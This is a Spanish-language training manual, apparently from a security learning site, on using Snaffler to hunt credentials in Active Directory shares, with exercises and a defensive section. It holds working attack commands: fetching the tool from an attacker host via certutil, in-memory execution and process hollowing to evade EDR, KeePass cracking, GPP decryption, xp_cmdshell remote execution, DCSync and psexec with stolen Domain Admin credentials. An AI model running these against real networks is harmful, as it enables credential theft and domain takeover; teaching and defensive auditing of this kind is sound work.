GhostAcademy
Ghost Academy SecLearn // SNAFFLER LAB
// Post-Explotación • Active Directory

Snaffler: Caza de credenciales en AD

Manual completo de uso ofensivo y defensivo de Snaffler para la búsqueda de contraseñas, claves privadas y datos sensibles en shares de Active Directory.

Post-Explotación Active Directory Windows / .NET 7 Ejercicios
🐶

Introducción a Snaffler

¿Qué es Snaffler?

Snaffler es una herramienta de auditoría y post-explotación escrita en C# diseñada para buscar automáticamente credenciales, claves privadas y datos sensibles en recursos compartidos de red (shares) de un entorno Active Directory (AD). Su nombre proviene de la jerga inglesa que significa ‘fisgonear’ o ‘robar’.

En un pentest o ejercicio de red team, una vez obtenemos acceso a una máquina dentro del dominio, Snaffler nos permite escalar privilegios o movernos lateralmente aprovechando credenciales olvidadas en miles de archivos distribuidos por los shares corporativos.

ⓘ
Snaffler es una herramienta defensiva y ofensiva: los equipos de Blue Team pueden usarla para auditar qué datos sensibles están expuestos en sus propios shares antes de que lo haga un atacante.

¿Por qué es tan efectiva?

En entornos empresariales es habitual encontrar:

  • Scripts de instalación con contraseñas en texto plano
  • Archivos .config con connection strings a bases de datos
  • Claves privadas SSH/PEM sin cifrar
  • Hojas de Excel con inventarios de credenciales
  • Backups de archivos web.config o appsettings.json
  • Scripts PowerShell con credenciales hardcodeadas

Snaffler enumera todos los shares accesibles del dominio, filtra automáticamente los archivos interesantes usando reglas clasificadas por nivel de peligrosidad, y presenta los resultados priorizados para que el auditor pueda centrarse en los hallazgos más críticos.

Posicionamiento en el ciclo de ataque

FaseUso de Snaffler
Post-explotación inicialBúsqueda de credenciales para escalar privilegios
Movimiento lateralEncontrar accesos a otros sistemas/servicios
PersistenciaIdentificar scripts de inicio con credenciales
ExfiltraciónLocalizar datos sensibles de negocio
Auditoría defensivaInventario de exposición de datos en shares
⚙

Instalación y compilación

Requisitos previos

  • .NET Framework 4.5+ o .NET 6+ (según la versión)
  • Acceso a un sistema Windows unido al dominio AD (o credenciales de dominio)
  • Visual Studio 2019/2022 o MSBuild para compilar desde fuente
⚠
Snaffler debe ejecutarse desde una máquina o contexto con credenciales de dominio válidas. Sin acceso al LDAP/DNS del dominio, no podrá enumerar los shares.

Opción 1: Binario precompilado (GitHub Releases)

La forma más rápida. Descarga el ejecutable directamente desde el repositorio oficial:

powershell
# Descargar el release mas reciente
Invoke-WebRequest -Uri 'https://github.com/SnaffCon/Snaffler/releases/latest/download/Snaffler.exe' `
  -OutFile 'C:\Tools\Snaffler.exe'

# Verificar que funciona
C:\Tools\Snaffler.exe --help

Opción 2: Compilar desde fuente

bash
# Clonar el repositorio
git clone https://github.com/SnaffCon/Snaffler.git
cd Snaffler

# Compilar con MSBuild (requiere Visual Studio Build Tools)
msbuild Snaffler.sln /p:Configuration=Release

# El binario estara en:
# Snaffler\bin\Release\Snaffler.exe

Opción 3: Transferir a máquina comprometida

bash
# Servidor HTTP en atacante (Kali):
python3 -m http.server 8080

# En la victima Windows (PowerShell):
Invoke-WebRequest -Uri 'http://ATACANTE:8080/Snaffler.exe' -OutFile 'C:\Temp\Snaffler.exe'

# Alternativa con certutil:
certutil.exe -urlcache -split -f http://ATACANTE:8080/Snaffler.exe Snaffler.exe
ⓘ
Usa certutil.exe si Invoke-WebRequest está bloqueado por restricciones de PowerShell.

Integración con frameworks C2

FrameworkMétodo de integración
Cobalt StrikeBeacon: execute-assembly Snaffler.exe -s
MetasploitMódulo execute_assembly (payload CLR)
Havoc C2Assembly execution via módulo dotnet
Sliverexecute-assembly con el binario Snaffler
🚀

Uso básico y parámetros esenciales

Sintaxis general

text
Snaffler.exe [opciones]

# Opciones principales:
-s             Solo escanear (output a stdout, sin escribir a disco)
-o <fichero>   Guardar resultados en fichero de log
-v <level>     Verbosidad: Trace, Debug, Info, Data, Warn, Error, Fatal
-l <nivel>     Nivel minimo de severidad: Black, Red, Yellow, Green
-m <MB>        Tamano maximo de archivo a leer (default: 500 KB)
-t <threads>   Numero de hilos (default: 30)
-d <dominio>   Especificar dominio AD manualmente
-c <DC>        Controlador de dominio a consultar
-i <share>     Escanear un share especifico
-n             No enumerar shares (solo los de -i)
-r <reglas>    Fichero de reglas personalizado (Toml)

Ejecución mínima: escaneo completo del dominio

powershell
# Ejecucion basica - Snaffler detecta el dominio automaticamente
Snaffler.exe -s -v Data

# Con salida a fichero de log
Snaffler.exe -o C:\Temp\snaffler_output.log -v Data

# Mostrar solo hallazgos Red y Black (mas criticos)
Snaffler.exe -s -l Red -v Data
ⓘ
La opción -s evita escribir a disco (modo STDOUT). Recomendado en pentests para no dejar artefactos.

Especificar dominio y controlador de dominio

powershell
# Cuando Snaffler no detecta el dominio automaticamente
Snaffler.exe -s -d corp.local -c dc01.corp.local -v Data

# Usando credenciales especificas (algunas versiones):
Snaffler.exe -s -d corp.local -u auditor -p 'P@ssw0rd!' -v Data

Escanear un share específico

powershell
# Escanear un share concreto sin enumerar el dominio
Snaffler.exe -i \\SERVIDOR\Compartido -n -v Data

# Multiples shares (separados por coma)
Snaffler.exe -i \\SRV01\SYSVOL,\\SRV02\Backup -n -v Data

Controlar el tamaño máximo de archivo

powershell
# Por defecto Snaffler no lee archivos > 500 KB
# Aumentar el limite a 5 MB:
Snaffler.exe -s -m 5000 -v Data

# Para archivos de base de datos y backups grandes:
Snaffler.exe -s -m 50000 -v Data
⚠
Aumentar -m puede hacer el escaneo mucho más lento. Sólo úsalo si buscas tipos específicos como .mdf, .bak o dumps de memoria.
🎯

Sistema de clasificación y niveles de hallazgo

Niveles de severidad

Snaffler clasifica cada hallazgo en uno de cuatro niveles de criticidad:

NivelDescripciónEjemplos
BlackCrítico — credenciales directamente utilizablesKeePass .kdbx, NTDS.dit, SAM+SYSTEM hive
RedMuy alto — muy probable contenido sensibleClaves privadas RSA/PEM, .config con passwords, scripts PS con creds
YellowMedio — posiblemente interesanteScripts de instalación, .inf, connection strings sospechosas
GreenBajo — información útil de reconocimientoArchivos de configuración genéricos, inventarios de software
ⓘ
Filtra por nivel con -l Red para ver solo los más críticos y evitar ruido en entornos con muchos shares.

¿Qué busca Snaffler exactamente?

CategoríaEjemplos de patrones buscados
Contraseñas en texto planopassword=, pwd=, pass:, secret=
Claves privadasCabeceras BEGIN RSA PRIVATE KEY, BEGIN EC PRIVATE KEY
Tokens y API keysPatrones de AWS keys, Azure SAS tokens, GitHub tokens
HashesNTLM hashes, bcrypt, SHA-256 en contextos de configuración
Connection stringsData Source=, Server=, mongodb://, jdbc:
CertificadosArchivos .pfx, .p12, .cer con clave privada
Scripts con credencialesScripts .bat, .ps1, .vbs con patrones de autenticación

Interpretar una línea de output

text
[Data] [Yellow] {SomeRule} \\SRV01\IT\Scripts\install.bat (18.3 KB) [Rule: PasswordInFileContent] -> 'set DB_PASS=Sup3rS3cret!'

Anatomía del output:

  • [Data] → Nivel de log del mensaje
  • [Yellow] → Nivel de severidad del hallazgo
  • {SomeRule} → Nombre de la regla que lo detectó
  • Ruta UNC del archivo encontrado
  • Tamaño del archivo
  • [Rule: PasswordInFileContent] → Regla específica activada
  • Fragmento del contenido que activó la regla
💎

Targets más valiosos en AD

SYSVOL: el jackpot del dominio

El share SYSVOL es accesible por todos los usuarios del dominio y contiene scripts de inicio de sesión, políticas de grupo y configuraciones que históricamente han almacenado contraseñas en texto plano (Group Policy Preferences - GPP).

powershell
# Snaffler escaneara SYSVOL automaticamente
# Para hacerlo explicito:
Snaffler.exe -i \\corp.local\SYSVOL -n -v Data -o sysvol_results.log
⛔
Las contraseñas GPP (almacenadas en cpassword en archivos XML) pueden descifrarse con la clave AES publicada por Microsoft. Snaffler las detecta automáticamente.

Shares de TI y administración

Los shares de los equipos de TI suelen ser los más jugosos:

  • \\SRV\IT, \\SRV\Scripts, \\SRV\Deploy
  • Scripts de instalación de software con credenciales de servicio
  • Runbooks y documentación con contraseñas de administración
  • Backups de configuraciones de routers/switches/firewalls
powershell
Snaffler.exe -i \\SRV-IT-01 -v Data -o it_shares.log

Home directories y perfiles de usuario

Los directorios de home montados en red a menudo contienen:

  • Archivos id_rsa, id_ed25519 sin contraseña
  • Archivos .aws/credentials, .azure con tokens
  • Ficheros *.rdp con contraseñas guardadas
  • KeePass databases (*.kdbx)
ⓘ
Los shares de home suelen estar montados con permisos por usuario, pero si hay permisos mal configurados podemos acceder a múltiples perfiles.

Shares de aplicaciones y desarrollo

Tipo de shareQué buscar
\\SRV\Dev, \\SRV\CodeRepos con appsettings.json, .env, web.config
\\SRV\BackupBackups de bases de datos (.bak, .sql), SAM/NTDS
\\SRV\FinanceHojas de cálculo con credenciales de banca/ERP
\\SRV\HR, \\SRV\RRHHDocumentos con datos personales y contraseñas temporales
\\SRV\Deploy, \\SRV\SCCMScripts de despliegue con service account credentials
\\SRV\MonitoringConfiguraciones Nagios/Zabbix/PRTG con SNMP community strings
📜

Reglas personalizadas (Toml)

Arquitectura del sistema de reglas

Snaffler usa ficheros de configuración en formato TOML para definir qué buscar. Las reglas se agrupan en Classifiers que evalúan:

  • File → Por nombre o extensión del archivo
  • Contents → Por contenido del archivo (regex)
  • ShareName → Por nombre del share
  • FilePath → Por ruta completa del archivo

Estructura básica de un fichero de reglas

toml
# mi_config.toml

[classifiers]

  [[classifiers.rules]]
  RuleName = "DetectarTokensAWS"
  EnumerationScope = "FileEnumeration"
  MatchAction = "Snaffle"
  Severity = "Red"
  Description = "AWS Access Key ID detectado"
  ContentRegex = "AKIA[0-9A-Z]{16}"

  [[classifiers.rules]]
  RuleName = "ArchivoKeePass"
  EnumerationScope = "FileEnumeration"
  MatchAction = "Snaffle"
  Severity = "Black"
  Description = "Base de datos KeePass"
  FileExtensionRegex = "\\.kdbx$"
powershell
# Usar fichero de reglas personalizado
Snaffler.exe -s -r C:\Tools\mi_config.toml -v Data

Reglas avanzadas de ejemplo

toml
# Detectar connection strings de SQL Server
[[classifiers.rules]]
RuleName = "SQLConnectionString"
EnumerationScope = "ContentsEnumeration"
MatchAction = "Snaffle"
Severity = "Red"
ContentRegex = "(Data Source|Server)=[\w\.-]+;.*Password=[^;]+"

# Detectar private keys de Azure Service Principal
[[classifiers.rules]]
RuleName = "AzureClientSecret"
EnumerationScope = "ContentsEnumeration"
MatchAction = "Snaffle"
Severity = "Red"
ContentRegex = "clientSecret.*[\"']([a-zA-Z0-9~_.]{34,40})[\"']"

# Detectar Ansible vault password files
[[classifiers.rules]]
RuleName = "AnsibleVault"
EnumerationScope = "ContentsEnumeration"
MatchAction = "Snaffle"
Severity = "Red"
ContentRegex = "\$ANSIBLE_VAULT"

Valores de MatchAction disponibles

MatchActionComportamiento
SnaffleReportar el hallazgo con el fragmento coincidente
SendToSearchPasar el archivo a un segundo clasificador de contenido
DiscardIgnorar este archivo (excluir falsos positivos)
CheckForKeysVerificar si el archivo contiene claves criptográficas
🔥

Técnicas avanzadas de post-explotación

Encadenar Snaffler con otros ataques

Los hallazgos de Snaffler raramente son el fin del ataque:

Hallazgo SnafflerSiguiente técnica
Contraseña de cuenta de servicioPassword Spray / Pass-the-Password
Hash NTLM en configPass-the-Hash con Mimikatz/Impacket
Clave privada SSHSSH directo a servidores Linux del dominio
Connection string MSSQLxp_cmdshell / SA account compromise
.kdbx KeePass databaseKeePass hash extraction + Hashcat crack
Azure/AWS credentialsCloud lateral movement / privilege escalation
Certificado .pfxPKI abuse, ADCS ESC attacks

Modo silencioso para evasion de EDR

powershell
# Ejecutar sin escribir a disco via C2 (Cobalt Strike):
execute-assembly /path/to/Snaffler.exe -s -l Red -v Data

# Limitar threads para reducir ruido en logs de red:
Snaffler.exe -s -t 5 -l Red -v Data

# Escanear solo un share a la vez para evasion:
Snaffler.exe -i \\TARGET\Share -n -s -t 2 -v Data
⚠
Snaffler genera tráfico SMB intenso. En entornos con SIEM/EDR activos, reduce threads (-t 5) y apunta a shares específicos.

Extraer y crackear hashes de KeePass

bash
# 1. Snaffler encuentra: [Black] \\SRV\Users\jdoe\passwords.kdbx

# 2. Copiar el archivo
Copy-Item '\\SRV\Users\jdoe\Documents\passwords.kdbx' C:\Temp\

# 3. Extraer el hash con keepass2john (en Kali)
keepass2john passwords.kdbx > keepass.hash

# 4. Crackear con Hashcat (modo 13400 = KeePass)
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt

# 5. Abrir la base de datos con la contrasena encontrada
keepassxc-cli open corporate_passwords.kdbx

Aprovechar credenciales GPP descifradas

bash
# Snaffler detecta cpassword en Groups.xml de SYSVOL
# Ejemplo de hallazgo:
# \\corp.local\SYSVOL\corp.local\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml

# Descifrar con PowerSploit:
Get-GPPPassword

# O con CrackMapExec:
cme smb TARGET -u user -p pass --gpp-passwords

# O con Impacket:
Get-GPPPassword.py -dc-ip DC_IP corp.local/user:pass

Búsqueda de certificados ADCS (ESC attacks)

powershell
# Snaffler encontrara archivos .pfx, .p12, .cer
# Con un certificado de maquina o usuario podemos:

# 1. Solicitar TGT con el certificado (PKINIT)
Rubeus.exe asktgt /user:TargetUser /certificate:cert.pfx /password:pfxpass /ptt

# 2. Si tenemos cert de DC -> DCSync
secretsdump.py -just-dc corp.local/DC01$ -k -no-pass -dc-ip DC_IP

# 3. Shadow Credentials attack si tenemos permisos de escritura
Whisker.exe add /target:TargetUser
ⓘ
Los certificados en formato .pfx/.p12 sin contraseña clasifican automáticamente como [Black] en Snaffler.
📊

Análisis y procesado del output

Filtrar y procesar resultados con PowerShell

powershell
# Cargar el log de Snaffler
$log = Get-Content C:\Temp\snaffler_output.log

# Filtrar solo hallazgos Black (criticos)
$log | Where-Object { $_ -match '\[Black\]' }

# Filtrar Red y Black juntos
$log | Where-Object { $_ -match '\[Red\]|\[Black\]' }

# Contar hallazgos por nivel
$log | Select-String -Pattern '\[(Black|Red|Yellow|Green)\]' |
  ForEach-Object { $_.Matches[0].Groups[1].Value } |
  Group-Object | Sort-Object Count -Descending

Procesar con Python para reporting

python
#!/usr/bin/env python3
import re, sys
from collections import defaultdict

LEVELS = ['Black', 'Red', 'Yellow', 'Green']
results = defaultdict(list)

with open(sys.argv[1]) as f:
    for line in f:
        for level in LEVELS:
            if f'[{level}]' in line:
                results[level].append(line.strip())
                break

print('=== RESUMEN DE HALLAZGOS SNAFFLER ===')
for level in LEVELS:
    print(f'\n[{level}] - {len(results[level])} hallazgo(s):')
    for r in results[level][:10]:  # Top 10 por nivel
        print(f'  {r[:200]}')

# Uso: python3 parse_snaffler.py snaffler_output.log

Integración con BloodHound

Los hallazgos de Snaffler pueden correlacionarse con datos de BloodHound para priorizar:

  • Si Snaffler encuentra credenciales de una cuenta que BloodHound marca como DA path → prioridad máxima
  • Si encuentra connection strings de MSSQL en un servidor donde BloodHound muestra sesiones de admins → movimiento lateral clave
  • Exportar rutas UNC como nodos personalizados en BloodHound para visualizar exposición
💡
Combina el output de Snaffler con ldapdomaindump o BloodHound.py para tener contexto de qué cuentas/grupos tienen acceso a cada share comprometido.
🏋

Ejercicios prácticos

Ejercicio 1Escaneo básico del dominio

Eres un pentester con acceso a una máquina Windows unida al dominio corp.local. Necesitas hacer un primer escaneo para identificar credenciales expuestas. El DC es dc01.corp.local.

Objetivo: Ejecuta Snaffler para escanear todo el dominio, guarda los resultados en C:\Temp\audit.log y muestra solo hallazgos de nivel Red o superior.

powershell
# Solucion
Snaffler.exe -d corp.local -c dc01.corp.local -o C:\Temp\audit.log -l Red -v Data

# Visualizar hallazgos criticos:
Get-Content C:\Temp\audit.log | Where-Object { $_ -match '\[Black\]|\[Red\]' }

# Contar hallazgos por nivel:
$log = Get-Content C:\Temp\audit.log
Write-Host "Black: $( ($log | Select-String '\[Black\]').Count)"
Write-Host "Red:   $( ($log | Select-String '\[Red\]').Count)"
Ejercicio 2Análisis de SYSVOL en busca de GPP passwords

Se sospecha que el equipo de IT antiguo configuró políticas de grupo con contraseñas embebidas (GPP). El dominio es megacorp.com.

Objetivo: Escanea específicamente el share SYSVOL y extrae cualquier referencia a cpassword para descifrarla.

powershell
# Paso 1: Escanear solo SYSVOL
Snaffler.exe -i \\megacorp.com\SYSVOL -n -v Data -o sysvol_audit.log

# Paso 2: Filtrar referencias a cpassword
Get-Content sysvol_audit.log | Select-String 'cpassword'

# Paso 3: Descifrar con PowerSploit:
Get-GPPPassword

# O con CrackMapExec:
cme smb megacorp.com -u '' -p '' --gpp-passwords
Ejercicio 3Crear regla personalizada para tokens de Jenkins

El cliente usa Jenkins para CI/CD. Necesitas detectar tokens de API de Jenkins que puedan estar almacenados en scripts de build dentro de los shares.

Objetivo: Crea un fichero de reglas TOML que detecte tokens de Jenkins (cadena hexadecimal de 32 chars) y úsalo en un escaneo.

powershell
# Paso 1: Crear jenkins_rules.toml
@'
[classifiers]

  [[classifiers.rules]]
  RuleName = "JenkinsApiToken"
  EnumerationScope = "ContentsEnumeration"
  MatchAction = "Snaffle"
  Severity = "Red"
  Description = "Posible token de API Jenkins"
  ContentRegex = "[0-9a-f]{32}"

  [[classifiers.rules]]
  RuleName = "JenkinsConfigFile"
  EnumerationScope = "FileEnumeration"
  MatchAction = "SendToSearch"
  Severity = "Yellow"
  Description = "Archivo de configuracion Jenkins"
  FileNameRegex = "jenkins.*\\.xml$|config\\.xml$"
'@ | Out-File jenkins_rules.toml

# Paso 2: Ejecutar con las reglas personalizadas
Snaffler.exe -r .\jenkins_rules.toml -s -v Data
Ejercicio 4Post-explotación: de KeePass a Domain Admin

Snaffler ha encontrado un archivo .kdbx en el share de un usuario:

\\FILESERV\Users\jsmith\My Documents\corporate_passwords.kdbx

Objetivo: Describe el proceso completo para obtener el contenido de la base de datos KeePass y escalar a Domain Admin.

bash
# 1. Copiar el .kdbx a tu maquina local
Copy-Item '\\FILESERV\Users\jsmith\My Documents\corporate_passwords.kdbx' C:\Temp\

# 2. Transferir a Kali via C2 o SCP

# 3. En Kali: extraer el hash del .kdbx
keepass2john corporate_passwords.kdbx > keepass.hash
cat keepass.hash

# 4. Crackear con hashcat (modo 13400 = KeePass)
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt
# Con reglas para mayor cobertura:
hashcat -m 13400 keepass.hash rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# 5. Abrir la base de datos con la master password crackeada
keepassxc-cli ls corporate_passwords.kdbx
keepassxc-cli show corporate_passwords.kdbx 'Domain Admin'

# 6. Usar las credenciales DA encontradas
psexec.py corp.local/Administrator:'DA_Password_Found'@DC01
Ejercicio 5Búsqueda y explotación de connection strings MSSQL

El cliente sospecha que hay connection strings de SQL Server expuestas en los shares. Quieres extraerlas y verificar si permiten acceso.

Objetivo: Configura Snaffler para que encuentre connection strings, extrae las credenciales del output y verifica el acceso al servidor SQL.

bash
# 1. Snaffler busca automaticamente connection strings
Snaffler.exe -s -v Data | Tee-Object -FilePath cs_audit.log
Get-Content cs_audit.log | Select-String -Pattern 'password=|Data Source=' -CaseSensitive:$false

# 2. Si encontramos: Data Source=SQLSRV01;Initial Catalog=Finance;User ID=sa;Password=Adm1n2024!

# 3. Verificar acceso con sqlcmd:
sqlcmd -S SQLSRV01 -U sa -P 'Adm1n2024!' -Q 'SELECT @@VERSION'

# 4. Si SA tiene acceso, habilitar xp_cmdshell para RCE:
sqlcmd -S SQLSRV01 -U sa -P 'Adm1n2024!' -Q "
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';"

# 5. Alternativa con Impacket:
mssqlclient.py sa:'Adm1n2024!'@SQLSRV01
> enable_xp_cmdshell
> xp_cmdshell whoami
Ejercicio 6Evasion de EDR en entorno monitorizado

El cliente tiene CrowdStrike activo y un SIEM (Splunk). Necesitas usar Snaffler de forma que minimices las alertas, centrándote en el share de RRHH \\HRSRV\HR_Data.

Objetivo: Diseña una estrategia de ejecución stealthy y el comando concreto.

Estrategia de evasion:

  • Ejecutar desde memoria via C2 (execute-assembly) para no tocar disco
  • Usar pocos threads para no generar picos de tráfico SMB detectables
  • Apuntar a un share específico en lugar de enumerar todo el dominio (menos queries LDAP)
  • Ejecutar en horario de negocio para mezclar el tráfico con el normal
powershell
# Desde Cobalt Strike (ejecuta en memoria, no escribe a disco)
execute-assembly /path/to/Snaffler.exe -i \\HRSRV\HR_Data -n -l Red -t 3 -v Data

# Desglose de parametros para evasion:
# -i  -> Share especifico (sin enumerar LDAP masivamente)
# -n  -> No enumerar shares adicionales
# -l Red -> Solo hallazgos criticos (menos queries, menos ruido)
# -t 3 -> 3 threads (trafico SMB bajo y lento)
# -v Data -> Solo log de datos (sin mensajes de debug)

# Alternativa: process hollowing para ocultar el proceso
spawnto x64 %windir%\sysnative\svchost.exe
execute-assembly /path/to/Snaffler.exe -i \\HRSRV\HR_Data -n -l Red -t 3
Ejercicio 7Parsing y reporte automatizado

Tras un escaneo completo tienes el fichero audit_results.log con miles de líneas. Necesitas un informe ejecutivo que muestre los hallazgos más críticos con su contexto.

Objetivo: Escribe un script Python que procese el log y genere un resumen estructurado.

python
#!/usr/bin/env python3
"""parse_snaffler.py - Genera resumen ejecutivo del output de Snaffler"""
import re, sys
from collections import defaultdict
from datetime import datetime

LEVELS = ['Black', 'Red', 'Yellow', 'Green']

def parse_log(filename):
    results = defaultdict(list)
    with open(filename, encoding='utf-8', errors='ignore') as f:
        for line in f:
            for level in LEVELS:
                if f'[{level}]' in line:
                    results[level].append(line.strip())
                    break
    return results

def generate_report(results):
    total = sum(len(v) for v in results.values())
    print(f'=== SNAFFLER EXECUTIVE REPORT ===')
    print(f'Generado: {datetime.now().strftime("%Y-%m-%d %H:%M:%S")}')
    print(f'TOTAL HALLAZGOS: {total}\n')
    for level in LEVELS:
        items = results.get(level, [])
        if not items: continue
        print(f'[{level}] - {len(items)} hallazgo(s)')
        print('-' * 60)
        for item in items[:10]:
            print(f'  {item[:200]}')
        print()

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('Uso: python3 parse_snaffler.py <logfile>')
        sys.exit(1)
    results = parse_log(sys.argv[1])
    generate_report(results)

# Uso: python3 parse_snaffler.py audit_results.log > informe.txt
🛡

Detección y contramedidas defensivas

Cómo detectar el uso de Snaffler

Desde el punto de vista del Blue Team, Snaffler deja varias trazas detectables:

Vector de detecciónIndicadorFuente de log
Tráfico SMB masivoMiles de peticiones SMB en poco tiempo desde un hostWindows Event Log / NetFlow
LDAP queries de enumeraciónConsultas LDAP buscando todos los shares del dominioAD DS Diagnostic Logging
Accesos a SYSVOL inusualesLectura masiva de archivos XML en SYSVOLFile System Audit / SACL
Proceso sospechosoSnaffler.exe accediendo a múltiples UNC pathsSysmon Event ID 1, 3
Assembly en memoriaCLR cargado en proceso no-.NET (inject via C2)Sysmon Event ID 7 / ETW

Regla Sigma para detección

yaml
# Regla Sigma: Enumeracion masiva de shares via SMB
title: Snaffler-like SMB Share Enumeration
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detecta enumeracion masiva de shares SMB
logsource:
  category: network_connection
  product: windows
detection:
  selection:
    EventID: 3
    DestinationPort: 445
  condition: selection | count() by SourceIp > 100 in 60s
falsepositives:
  - Herramientas de backup legitimas
level: high

Medidas preventivas recomendadas

  • Auditar permisos de shares: Eliminar accesos innecesarios de ‘Todos’ o ‘Domain Users’
  • DLP en shares críticos: Implementar Data Loss Prevention para detectar archivos con credenciales
  • Eliminar GPP passwords: Migrar a LAPS o soluciones modernas
  • SACLs en archivos sensibles: Auditar accesos de lectura a archivos .kdbx, .pfx, id_rsa
  • Rotación periódica de credenciales: Aunque se encuentren, que ya no sean válidas
  • Tiering model: Segregar shares por nivel de sensibilidad con permisos mínimos
💡
Usa el propio Snaffler en modo de auditoría defensiva periódicamente (mensual/trimestral) para detectar credenciales expuestas antes que un atacante.

Usar Snaffler como herramienta de auditoría defensiva

powershell
# Programar tarea mensual de auditoria defensiva:
$action = New-ScheduledTaskAction -Execute 'C:\Tools\Snaffler.exe' `
  -Argument "-d corp.local -o C:\Audit\snaffler_$(Get-Date -f 'yyyyMMdd').log -l Yellow -v Data"
$trigger = New-ScheduledTaskTrigger -Monthly -DaysOfMonth 1 -At 02:00
Register-ScheduledTask -TaskName 'ShareAudit_Snaffler' `
  -Action $action -Trigger $trigger `
  -RunLevel Highest -User 'CORP\AuditSvcAccount'
📋

Cheat Sheet: comandos de referencia

Escaneo básico
powershell
Snaffler.exe -s -v Data
Snaffler.exe -o out.log -v Data
Snaffler.exe -s -l Red -v Data
Dominio específico
powershell
Snaffler.exe -d corp.local -c dc01 -s -v Data
Snaffler.exe -d corp.local -u user -p pass -s
Share específico
powershell
Snaffler.exe -i \\SRV\Share -n -s -v Data
Snaffler.exe -i \\S1,\\S2 -n -s
Evasion / stealth
powershell
Snaffler.exe -s -t 3 -l Red -v Data
execute-assembly Snaffler.exe -s -l Red -t 3
Reglas personalizadas
powershell
Snaffler.exe -r mi_config.toml -s -v Data
Post-explotacion KeePass
bash
keepass2john file.kdbx > h.hash
hashcat -m 13400 h.hash rockyou.txt
Post-explotacion GPP
bash
Get-GPPPassword
cme smb DC -u u -p p --gpp-passwords
Filtrar output
bash
cat log.txt | grep '\[Black\]\|\[Red\]'
$log | Where-Object { $_ -match 'Black|Red' }